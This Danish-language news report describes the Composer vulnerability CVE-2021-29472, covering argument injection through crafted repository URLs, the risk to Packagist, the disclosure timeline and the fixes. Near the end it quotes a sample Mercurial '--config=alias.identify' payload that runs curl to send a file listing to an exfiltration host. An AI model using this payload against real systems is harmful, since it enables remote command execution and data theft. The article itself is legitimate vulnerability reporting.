I Composer-afhængighedshåndteringen er der blevet opdaget en kritisk sårbarhed (CVE-2021-29472), som muliggør udførelse af vilkårlige kommandoer i systemet, når et paket med en specifikt udformet URL-værdi, der bestemmer adressen for indlæsning af kildekoder, behandles. Problemet optræder i komponenterne GitDriver, SvnDriver og HgDriver, som anvendes ved brug af versionsstyringssystemerne Git, Subversion og Mercurial. Sårbarheden er blevet udbedret i udgaverne Composer 1.10.22 og 2.0.13.
Det fremhæves særligt, at problemet primært har berørt det standardbrugte pakke-repositorium Packagist i Composer, som rummer 306.000 pakker for udviklere i PHP og månedligt håndterer mere end 1,4 milliarder downloads. Under forsøget blev det vist, at hvis angriberne havde oplysninger om problemet, kunne de få kontrol over Packagist-infrastrukturen og opsnappe legitimationsoplysninger fra vedligeholdere eller omdirigere downloads til en tredjepartsserver, og dermed levere versioner af pakker med ondsindede ændringer for at indføre en bagdør under installationsprocessen af afhængigheder.
Faren for slutbrugere er begrænset af, at indholdet af composer.json normalt defineres af brugeren selv, og links til kildekoder overføres, når der henvendes til tredjeparts-repositorier, der som regel er betroede. Det største slag ramte repositoriet Packagist.org og tjenesten Private Packagist, der kalder Composer med data fra brugerne. Angribere kunne udføre deres kode på Packagist-serverne ved at uploade et specielt designet paket.
Packagist-teamet udbedrede sårbarheden inden for 12 timer efter, at der var blevet indgivet en rapport om sårbarheden. Forskere underrettede privat udviklerne af Packagist den 22. april, og samme dag blev problemet løst. En offentlig opdatering af Composer med udbedringen af sårbarheden blev offentliggjort den 27. april, og detaljer blev afsløret den 28. april. Revisionen af logfilerne på Packagist-serverne viste ikke nogen mistænkelig aktivitet relateret til sårbarheden.
Problemet skyldes en fejl i koden til validering af URL'er i den rodfil, der hedder composer.json, og ved downloadlinksene for kildekoderne. Fejlen har været til stede i koden siden november 2011. For at organisere download af koden uden at være bundet til et bestemt kildekodehåndteringssystem anvendes der specielle lag i Packagist, som udføres ved hjælp af kaldet «fromShellCommandline» med overførsel af kommandolinjeargumenter. For eksempel kaldes for git kommandoen «git ls-remote —heads $URL», hvor URL'en behandles ved hjælp af metoden «ProcessExecutor::escape($url)», der undgår potentielt farlige konstruktioner såsom «$(…)» eller «`…`».
Essensen af problemet er, at metoden ProcessExecutor::escape ikke undveg sekvensen «—«, hvilket gjorde det muligt at angive enhver yderligere parameter i URL'en. En sådan beskyttelse manglede i driverne GitDriver.php, SvnDriver.php og HgDriver.php. Angrebet gennem GitDriver.php blev hindret af det faktum, at kommandoen «git ls-remote» ikke understøttede angivelse af yderligere argumenter efter stien. Et angreb på HgDriver.php var muligt gennem overførsel af parameteren «—config» til værktøjet «hq», som tillod udførelse af enhver kommando gennem manipulation af indstillingen «alias.identify». For eksempel kunne man angive for at hente og udføre koden ved at køre værktøjet curl: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”
Ved at placere et testpakke med en sådan URL i Packagist, bekræftede forskerne, at efter placeringen på deres server modtog de en HTTP-anmodning fra en af servere Packagist i AWS, der indeholdt en liste over filer i den aktuelle mappe.
Kilde: opennet.ru
